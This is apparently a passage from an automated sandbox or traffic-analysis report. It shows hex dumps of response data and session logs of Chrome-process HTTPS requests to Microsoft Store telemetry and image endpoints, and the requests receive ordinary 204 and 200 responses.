4c dc 0f 26 d2 d5 80 b7 36 c8 f7 8d 04 8f 50 76 e0 3f b0 b2 13 d2 b7 6c 1d 56 e0 8c f5 03 23 98 8f 2f b4 e3 28 46 6c 38 dc 
da 42 9a d5 c0 39 ff 00 1e 92 57 81 12 47 e7 86 91 22 49 6a 45 70 5a 54 2c 83 34 9a 08 a0 62 26 7f 13 8c 8c d0 41 7a d5 
c7 8b 9a 90 68 92 75 30 93 97 03 f1 ae 07 e6 14 8e 27 d1 dc 03 d6 f5 15 89 82 55 d7 54 56 a0 69 98 00 0f c5 70 25 af 53 
3f c8 1d db f6 2d 5c 45 57 67 82 35 1d 60 9d 23 84 fa 50 1a bc fb f0 7b 19 22 16 f7 b6 09 2f 7f d4 08 a2 21 62 48 9a 09 f4 
c7 e7 38 33 1f 5f ec 06 8e 7d 55 a5 f2 a9 9b ad 
Data Ascii: JU-GTlr\MfBC"?]f"au0{[2IAL&6Pv?lV#/(Fl8B9WG"IjEpZT,4b&Azhu0'UTVip%S?-\EWg5`#P{"/!bH83_}U

2022-05-26 11:47:00 UTC 10238 IN Data Raw: 36 d6 e5 19 d5 d1 a5 86 ac e9 06 86 99 b0 9a 62 33 d6 ee be 1a 9c 87 ba 89 65 5d ef b9 2c f4 6d e4 f5 5d bd 
a6 d2 e3 5d a1 f2 d4 e4 ac 0c 10 41 90 41 8e 47 17 97 65 87 02 59 a4 cb 3e bd d5 f6 9b 0d ed ce 9b b1 dc 5b 7d ae 84 bc 
8a 2e 03 3a 80 a2 11 32 44 e4 33 15 35 18 9e ad 8e f5 96 b2 34 a9 82 83 6d d6 76 fb 97 b9 70 48 1e 50 08 63 22 92 64 
71 ec 23 1d 09 f9 c0 2c d2 e0 8e f1 ec ef d0 ed f6 a0 da be 0a b2 96 62 38 f3 13 9f bb 19 c3 03 69 9b 0f b4 37 fb db 5d 07 
a8 ec ba ae 87 ea 5d 3e e8 dc ed 5d 49 57 b9 b7 17 00 35 d2 24 a8 26 63 f6 c1 e7 8e 0f 92 ba ec ab f0 f0 ff 00 1f 03 d2 
1a 67 76 7d 6d ba be cf 7f d5 ba 95 92 45 8d dd a4 11 e5 24 01 a4 02 09 10 65 4e 54 10 22 98 2e 35 42 ae 25 30 37 d8 
67 a9 df db ed 2f 6e 8e dd 42 da 02 db e9 55 25 94 b2 c9 04 
Data Ascii: 6b3e],m]]AAGeY>[}.:2D354mvpHPc"dq#,b8i7...]IW5$&cgv}mE$eNT".5B%07g/nBU%

2022-05-26 11:47:00 UTC 10254 IN Data Raw: 23 7d 15 d9 65 65 88 32 dc d2 83 39 ff 00 ca fa 9f 4d 4d cf d2 7a 22 de ec 05 bc a2 ca 88 03 8a 00 06 83 58 95 
8a 61 f7 6a 4d 4a f0 6a 59 3e 4a 4b 7b 9e b7 d6 77 76 77 89 7a eb 9b 67 55 b3 9a 24 40 f2 0f 94 64 05 31 1a de 54 1c af 
53 99 cf e6 7d 2f 7f ff 00 73 fd d8 b6 77 1d 2f a6 0b 7b 3d bd eb 65 2e 8d be d9 6d b0 72 fa 9e e2 ba ea 2a ec 49 d5 90 3c 
ab 8e 1d 5f f9 94 6f b5 b2 e6 79 fe c7 5d fe 55 d2 eb 5e 23 d3 fb 9f 1a 6d cb 31 37 2f 16 66 06 a4 82 0c f6 e3 d0 a6 b7 e8 
cf 3d be bc 9d db ee 5e ed f5 4d bd e7 b5 72 e9 12 b4 0a 47 68 a0 00 66 70 d6 d5 ea 91 4d 53 38 66 d8 5d b7 61 c5 a7 
05 8e 9d 0e c1 b3 52 20 80 47 2e 18 4f 6b 07 aa ec 91 a5 fb 2e f6 ee de ed ad 7d ab d4 76 db 1f 4c 6b 6b 3b 87 b8 16 eb 
2d 35 01 a4 80 60 d6 be 18 e9 f8 f5 b2 5e ab d0 f3 
Data Ascii: #}ee29MMz"XajMJjY>JK{wvwzgU$@d1TS}/sw/{=e.mr*I<_oy]U^#m17/f=^MrGhfpMS8f]aR G.Ok.}vLkk;-5`^

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:00 UTC 10270 IN Data Raw: 1d 58 cf 65 75 bf 49 fe be 47 ab 76 60 36 fb 8d c5 eb 62 d5 96 bb 79 b6 c4 de 55 d0 65 64 8c 80 3c 0d 4f 6d 60 
62 b5 d9 d7 32 66 87 ba 7f 52 7b ec d7 59 c5 cb 84 d0 ba 86 61 02 82 5b b7 1d 2b 73 b8 8e 0b 76 dc 6c 82 bc da 65 bb 
1a 9c 92 a0 2f 70 3c 27 23 18 6a d9 ae 45 c7 a0 b5 ce ad b7 d9 05 43 98 20 ae af 34 c5 66 47 6f 65 30 d6 df 1e 0c b0 2d 
73 ef 48 85 45 0a 00 30 ac 9a ab de 62 93 d9 88 2d ed b8 48 67 f8 91 3f 78 dd f9 42 22 a8 92 1b 41 19 0e 24 70 ef ae 1a 
bb 1b 71 00 ed f7 09 6f ef fd be de df ad 69 d8 de 06 4e 86 22 58 63 b1 6b 9e 51 25 b7 d3 27 2c fd cf d3 37 81 5e e7 a7 
62 fb 10 58 b2 90 aa 0d 69 40 0c 9c 6b 6b 8e 00 af d8 d2 dc fb b7 a2 25 c5 da de dd 3b 3c 32 97 10 42 93 90 1e 73 4f fc 
44 72 c4 9e a6 55 5d 0c 1f bd 2c 6f b6 4e 8e ae c8 97 07 
Data Ascii: XeuIGv`6byUed<Om`b2fR{Ya[+svle/p<'#jEC 4fGoe0-sHE0b-Hg?xB"A$pqoiN"XckQ%',7^bXi@kk%;<2BsO
DrU],oN

2022-05-26 11:47:00 UTC 10278 IN Data Raw: 55 96 0d 83 f5 2b 6e e6 fd ab 6d ea b1 1a 5e 74 88 07 31 95 6b c7 1c ed cf 8c 0a 94 79 2b b7 bb eb 57 ae 4d 
b0 f6 ef c9 2e 1e 34 92 49 91 94 1a ce 44 76 8c 74 a6 d2 fd 88 da b2 c5 5b 45 db 16 af 83 25 18 33 ea 89 25 08 d2 67 30 
60 90 4f 18 9e 38 be bc 2f af af f7 44 2e 8d c3 1b 3d 68 1a 07 be d5 12 7c c5 94 0a a9 39 8a 80 07 78 c7 35 b2 e4 bd 56 
0c a7 50 da dd dd 0d b5 db 68 05 fd b3 11 a4 ac 92 1c c3 01 c8 15 32 47 02 03 08 cb 17 d3 75 10 fc ff 00 ca fd 19 3b d1 
cc fd 7a 19 df bf fa 5b 75 4e 9e 2d ec 9b 4d f5 d4 6d 07 1a 48 61 20 80 7b 41 20 13 c4 89 91 81 a3 6c 3f ea 6d ba b0 64 
7e c2 fb a3 73 d6 36 ff 00 e2 3a b2 8b cf 62 d9 52 58 31 ba 2a 42 ad c0 41 ff 00 4e 79 09 e6 31 d3 f2 69 d1 c8 ba 65 e0 
b5 ea bb 5e 9e b7 13 75 a1 ad 6e 4c 5a 2c b7 08 0a a2 a4 
Data Ascii: U+nm^t1ky+WM.4IDvt[E%3%g0`O8/D.=h|9x5VPh2Gu;z[uN-MmHa {A l?md~s6:bRX1*BANy1ie^unLZ,

2022-05-26 11:47:00 UTC 10294 IN Data Raw: c3 76 a5 b8 66 54 b2 0a 9b 4b b7 61 d0 4b 12 21 49 d2 c4 f0 00 4f 1e 1e ec 6e 90 08 7c 91 bb d3 f7 be 5b 8a 
11 14 b1 0c e4 34 2d 60 cd 3d d3 38 38 e1 87 ab 63 96 ba 4d f7 ba 10 5b ba d6 d9 4b 07 f4 e8 c3 81 a6 43 be 31 0b 59 
21 eb af 22 77 36 5e 9b 7a 5b 8b 81 1b fd ca 4e af 01 3e fc 32 b2 e5 01 eb 68 9e d7 a8 5f b2 cb 6e c5 c3 a5 49 f2 79 80 
31 c2 0f f4 c0 b2 1a 8d 97 97 3a c2 de 45 f4 76 b7 0d d5 10 41 70 a8 62 66 46 7e fa e2 7d a5 e4 af 59 29 ba ab dc dc aa 
ea b6 6d 99 a2 23 02 ab 1c b8 c7 c3 0e 9c 67 04 dd 5a 29 ef 6c 46 f1 66 eb a1 33 fb 89 a1 f6 7e 58 47 b7 ab e0 0e b2 36 
9b 0b d7 0a e8 ba 0d c0 3c a5 24 50 71 92 08 c0 f7 97 e4 18 08 3a 5d cb c0 07 dc 3f 94 d1 78 78 0e fc 23 f9 7e 20 6e ad 
8a 37 43 dc dd 0e 19 83 a6 60 95 83 3f 1f 76 2d 5d e8 9b a9 
Data Ascii: vfTKaK!IOn|[4-`=88cM[KC1Y!"w6^z[N>2h_nIy1:EvApbfF~}Y)m#gZ)lFf3~XG6<$Pq:]?xx#~ n7C`?v-]

2022-05-26 11:47:00 UTC 10310 IN Data Raw: ef 3e 38 55 64 98 24 77 69 b3 6b 48 2d ba 6a 52 28 26 0f 8c f0 f0 c2 da f0 2b 49 97 bb 6e 81 7b 70 0d fd bd a7 
0a 0e 61 18 c7 7e 9a 62 56 dd 04 fa 17 fb 0f b0 7a c7 58 4f 5f a7 ec b7 5b 85 5c da d5 b7 22 47 26 88 38 0f e4 41 1b 6b 
01 77 ed 1e ad b0 6d 37 fa 7e ea df 9a 06 b4 60 26 32 ac 70 c2 df 65 6d 87 e7 ec 05 46 b2 8f ff d0 fc b4 96 5d 4a 6d ee 
31 47 d3 e4 68 92 0f 3e d8 f7 63 f2 8f f0 ca 8c 7a 1e d5 12 e4 60 db b6 89 a7 72 75 eb f2 96 02 48 ed 8c f1 cb d9 cf f1 36 
cb 41 e0 d6 98 35 90 c4 a6 a0 aa 60 ca 88 f8 18 fe 98 57 da 78 21 4a ab 5b 22 cd 68 ec ad 7d 46 d1 16 e9 90 03 10 01 
8e 03 91 18 ec f8 f7 57 fe 16 c3 3a 76 37 ca c8 9e e8 dd dc 6e 1a de eb d4 b5 a0 82 8b 70 15 19 00 44 77 f1 e5 8f 4d db 
b2 87 c9 c1 bf 52 bf 38 22 fb 6b 8f 6f 5b de 01 40 84 
Data Ascii: >8Ud$wikH-jR(&+In{pa~bVzXO_[\"G&8Akwm7~`&2pemF]Jm1Gh>cz`ruH6A5`Wx!J["h}FW:v7npDwMR8"ko[@

2022-05-26 11:47:00 UTC 10318 IN Data Raw: 34 b0 43 fe bb 6f 2e 67 f6 1e 41 6b a5 6f 6d ec af da bf e9 3b 0f 51 80 50 60 e4 75 a8 00 73 32 d9 73 cf 0b 0d 
a9 2b 5a da ad 27 30 34 2c a6 f7 7c bd 3d b7 67 62 f0 60 ee 7d 27 50 0d 40 23 41 07 be 73 c0 5c 4f 25 95 9f 68 7f d7 fd 
87 6d f4 0f b8 76 3e 5d 95 cd 8d db 2c 75 ab da 5b 13 23 b0 15 cc 70 c2 3b 2f 4f d0 e9 54 b7 86 8f 6e b7 9d 5b 6e 7e 87 
a8 5f b3 67 78 15 6e 10 9b 32 1a a6 a1 8c e9 91 ca 0e 1e b5 9c 8a f5 db ed 3f 81 61 6f 67 73 aa d8 5b 27 70 be a2 82 19 
2f 6a 3a 9a 47 60 13 d9 9f 2c 25 9c 32 d4 ab 88 67 37 1d 09 77 3a b6 d7 2c 06 81 1a bc c2 a2 a3 cc 50 d0 77 9c 2b bf a0 
2c 8e 6c 36 77 b6 4a db 3b 05 6d 5b 7d 4c 19 7d 4b ad a8 50 1c a0 16 9c ce 5c b3 c0 ef 20 56 75 18 ba 9b db b6 d6 dd bf 
55 ae 6b 2a ee 3d 40 05 ca 92 d0 b0 19 40 15 ae 74 02 
Data Ascii: 4Co.gAkom;QP`us2s+Z'04,|=gb`}'P@#As\O%hmv>],u[#p;/OTn[n~_gxn2?aogs['p/j:G`,%2g7w:,Pw+,l6
wJ;m[}L}KP\ VuUk*=@@t

2022-05-26 11:47:00 UTC 10334 IN Data Raw: 58 38 0e f3 e4 16 50 1b 6d f7 1f d4 b9 db 6d 5a e5 db 6e 75 ba 5c 3a 82 93 99 ac d3 b6 30 8c 3d a3 0c 57 75 
f7 65 8d b3 0b 26 c1 ba 44 fc a5 60 73 14 26 9d d8 ca be 24 75 49 c8 af ff 00 30 fa b5 16 2c ad 85 28 09 0a ca 1b 2e d3 f0
8c 18 8c 81 d7 f3 2b ae 7d d4 d7 9f 46 e5 10 83 c4 69 1e 10 00 c5 31 06 b6 af 43 cf d6 36 77 65 ef a2 6a 68 91 6e 26 99 
ff 00 a4 f6 e7 89 d6 cd 39 37 b7 25 6b ee fa 6d dd 49 6a e3 a3 81 32 e0 f0 e4 2a 67 1d 1e eb 64 bd b5 25 67 ab 64 4d b5 
bb a9 26 75 4b 0e 19 54 70 c4 df f2 65 93 ea 8b 4e 81 d1 97 ae 6e d3 6f 76 f0 4b 01 4b 33 8a b0 0a 0b 42 8a 99 35 e1 03 
8e 39 b7 ef f6 96 0e cd 14 f7 1c 1f ff d4 fe 7e fd 93 d2 ac fd b5 d3 d3 63 71 b5 5e 30 f7 1c c4 b1 8e 33 8f 8a f9 5b 3d eb cf 
8f 42 f5 68 de db bc 2d 26 bd 2c aa 44 ac 56 bc 
Data Ascii: X8PmmZnu\:0=Wue&D`s&$uI0,(.+}Fi1C6wejhn&97%kmIj2*gd%gdM&uKTpeNnovKK3B59~cq^03[=Bh-&,DV

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

111 192.168.2.4 49879 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:02 UTC 10345 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114640Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:02 UTC 10346 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c4c69666-e059-4172-9d22-3469e25c8133
Date: Thu, 26 May 2022 11:47:02 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

112 192.168.2.4 49880 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:02 UTC 10346 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114641Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:02 UTC 10347 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 32d30f51-b871-4dad-85b9-a7b8de482cf1
Date: Thu, 26 May 2022 11:47:02 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

113 192.168.2.4 49881 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:03 UTC 10347 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114641Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:03 UTC 10348 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 4b622323-ba3c-495a-963c-8df78d09cef8
Date: Thu, 26 May 2022 11:47:03 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

114 192.168.2.4 49882 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:03 UTC 10348 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114642Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:03 UTC 10348 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 5918aeb2-e11b-4883-b443-d2994c5c60c0
Date: Thu, 26 May 2022 11:47:03 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

115 192.168.2.4 49883 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:04 UTC 10348 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114643Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:04 UTC 10349 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 61589411-cf22-4f35-acce-ab29a99a5160
Date: Thu, 26 May 2022 11:47:03 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

116 192.168.2.4 49884 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:04 UTC 10349 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114644Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:04 UTC 10350 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3a4ef8e4-d72e-4112-9cba-f9d6f5f1f17f
Date: Thu, 26 May 2022 11:47:03 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

117 192.168.2.4 49885 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:04 UTC 10350 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114646Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:04 UTC 10351 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 251ce392-87da-447e-85f4-0a180ee3b237
Date: Thu, 26 May 2022 11:47:04 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

118 192.168.2.4 49886 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:04 UTC 10351 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114647Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:04 UTC 10351 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c9d3ad29-9377-4d23-b029-bea5b1c58a53
Date: Thu, 26 May 2022 11:47:04 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

119 192.168.2.4 49887 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:05 UTC 10352 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114648Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:05 UTC 10352 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 14f6405a-f4cd-4225-b2cf-94d145d439bc
Date: Thu, 26 May 2022 11:47:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.2.4 49729 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:29 UTC 107 OUT GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-
65c437755b78?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:29 UTC 123 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5777
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E"
MS-CV: sE5KrZztTESl/Nvr.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:29 UTC 124 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 
76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d 
b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 
3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 
0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b 
c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 
Data Ascii: PNGIHDR0XIDATxOUw{'02<"*_ILvI$|Q?5**&DW  ,<@703[[USsU{]55u?sNu#|\)>|pp>88|pp>?'EaI
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

120 192.168.2.4 49888 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:05 UTC 10352 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114648Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:05 UTC 10353 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b1c769ab-17c4-496f-9426-0987079551e0
Date: Thu, 26 May 2022 11:47:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

121 192.168.2.4 49889 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:05 UTC 10353 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114649Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:05 UTC 10354 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c26f228f-cb9a-461e-83b6-8982e4cc6e14
Date: Thu, 26 May 2022 11:47:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

122 192.168.2.4 49890 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:05 UTC 10354 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
